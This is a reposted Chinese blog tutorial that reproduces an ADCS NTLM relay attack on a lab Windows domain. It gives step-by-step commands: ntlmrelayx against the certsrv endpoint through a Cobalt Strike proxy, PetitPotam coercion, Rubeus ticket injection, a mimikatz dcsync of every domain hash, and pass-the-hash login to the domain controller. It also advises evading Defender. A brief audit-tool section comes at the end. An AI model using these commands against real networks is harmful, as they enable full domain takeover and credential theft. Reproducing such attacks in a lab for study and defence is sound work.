栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

ADCS攻击利用

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

ADCS攻击利用

ADCS攻击利用

​ 个人公众号创世信安

一.ADCS相关介绍

(1)ADCS

AD CS证书服务(SSL证书):可以部署企业根或者独立根建立SSL加密通道,和其他服务证书的区别在于加密强度。本次利用的漏洞产生的原因是ADCS支持的服务器角色功能错误配置。这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击,没有NTLM中继保护,而却Authorization HTTP标头只允许NTLM验证。导致类似于Kerberos之类的安全协议无法使用。

(2)参考博客及资料

(1)https://isc.sans.edu/diary/27668
(2)https://posts.specterops.io/certified-pre-owned-d95910965cd2
(3)https://zhuanlan.zhihu.com/p/388384018
(4)https://mp.weixin.qq.com/s/uwqjIpOCgmQVY7fC8NLJyA
(5)https://github.com/search?q=printerbug.py&type=issues
(6)https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/

 
二.ADCS服务搭建 

在利用之前,需要自行在服务器上搭建ADCS服务,整个过程可以参照网上有的教程

需要注意的是不同服务器版本的搭建过程可能会稍有区别,但是整体流程大同小异

下一步

一直下一步到添加ADCS服务的界面

选择添加ADCS服务到下一步

继续下一步跳转到服务器配置

选择1和4证书认证和web服务

点击安装即可。

安装好之后需要再次对ADCS服务器进行配置

根据提示点击进入配置界面

下一步,保持默认

这里选择1和2

选择企业CA,如果主DC安装了企业CA,那么只能选择Standalone CA

保持默认,下一步

下一步

下一步

后面过程不一一展示,保持默认即可

完成配置

配置完成之后,可以进行查看配置情况

访问

ip/certsrv/certfnsh.asp可以进入到ADCS提供的web端口

三.如何判断ADCS漏洞是否存在

通过kali进行查看,也可以看到其验证方式规定了NTLM验证,没有使用其他更加安全的验证协议。

再没有配置ADCS的机器上,无法从web接口访问。

四.ADCS攻击复现

整个攻击拓补图如下所示。

将域内主机的流量代理出来经过VPS到kali

kali执行脚本,这里主要利用到的是impacket中的中继

以及需要在域内主机上执行的Petitpotam.exe将凭证反弹回来

根据微信公众号文章ADCS relay复现及踩坑中提到的几点,添加dc到Domain Computer组里,这是为了后面NTLM中继之后对DC票据的抓取。

这里首先准备impacket环境,这里非常头疼,整个过程中遇到了非常多的问题,这里将我的踩坑过程做一个详细的记录,以便于大家的顺利复现。

作者在漏洞爆发之后,提交了一个新的impacket包版本,其位置如下

https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

作者这里对功能模块进行了更新,直接下载源码,将其复制到kali中,由于kali自带impacket版本,我们可以覆盖掉,或者选择创建一个虚拟环境去运行这个impacket包这里根据作者给出的提示进行

https://github.com/SecureAuthCorp/impacket/pull/1101

根据这里的提示进行可以少走很多弯路,否则impaket包环境会非常难受。

下载好对应的版本之后进行攻击

git clone git clone https://github.com/ExAndroidDev/impacket
cd impacket
git switch ntlmrelayx-adcs-attack
python3 -m pip install .

这里我们首先用cs控到目标

这里直接使用cs自带的代理

这里本地测试的环境中cs服务端在kali,实战中cs的服务端应该在VPS上

然后使用一台win10作为攻击机

这里开启cs自带的代理

点击目标右键然后选择Pivoting >选择server sockets

选择端口进行监听流量

端口自行选择,在kali上开启proxychains4配置中会用到。

kali配置对应的代理

vi /etc/proxychains4.conf

kali开启中继

proxychains4 python3 ntlmrelayx.py -t http://172.31.1.100/certsrv/certfnsh.asp -smb2support --adcs

注意:

这里如果报错没有adcs选项,说明impacket包错误,这样必须重新配置impacket

开启中继服务之后,将Petitpotam.exe上传到目标主机

执行

项目地址:

https://github.com/topotam/PetitPotam

详情可以参照

https://isc.sans.edu/diary/27668

配置完成之后,执行命令进行使用

petitpotam.exe vps地址 dc地址

执行之后NTLM中继会抓取到票据

将这个票据copy出来到txt

这里需要使用Rubeus.exe进行票据注入

这里注入的时候,首先需要做Rubeus.exe的免杀,实测中过不了Defender

或者也可以使用其他票据注入的方法

项目地址

https://github.com/GhostPack/Rubeus
Rubeus.exe asktgt /user:mail$ /certificate:票据 /ptt

这里成功注入票据之后,使用klist查看当前票据

接着上mimikatz就行,但是mimikatz的免杀也是需要提前做好的,这里建议拓展思路,利用其他方式进行抓取

mimikatz.exe
lsadump::dcsync /domain:test.org /all /csv

PTH登录到DC

抓取到hash之后,使用pth登录到DC

mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.org /ntlm:0343fed8cf8e6e1d4b5d705e85103a3c

命令行执行命令

同样可以直接在cs远控端执行

命令如下:

mimikatz.exe ""privilege::debug"" "sekurlsa::pth /user:Administrator /domain:test.org /ntlm:0343fed8cf8e6e1d4b5d705e85103a3c"
五.PSPKIAudit脚本检测漏洞利用方法

github项目地址

https://github.com/GhostPack/PSPKIAudit

配置过程

首先下载源码包,远程加载也可以

在目标机内运行

cd PSPKIAudit
Get-ChildItem -Recurse | Unblock-File
import-Module .PSPKIAudit.psm1

导入脚本

首先查看域内DC定位证书颁发机器。

定位方法

certutil -config - -ping 

利用机器名进行脚本攻击

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/675380.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号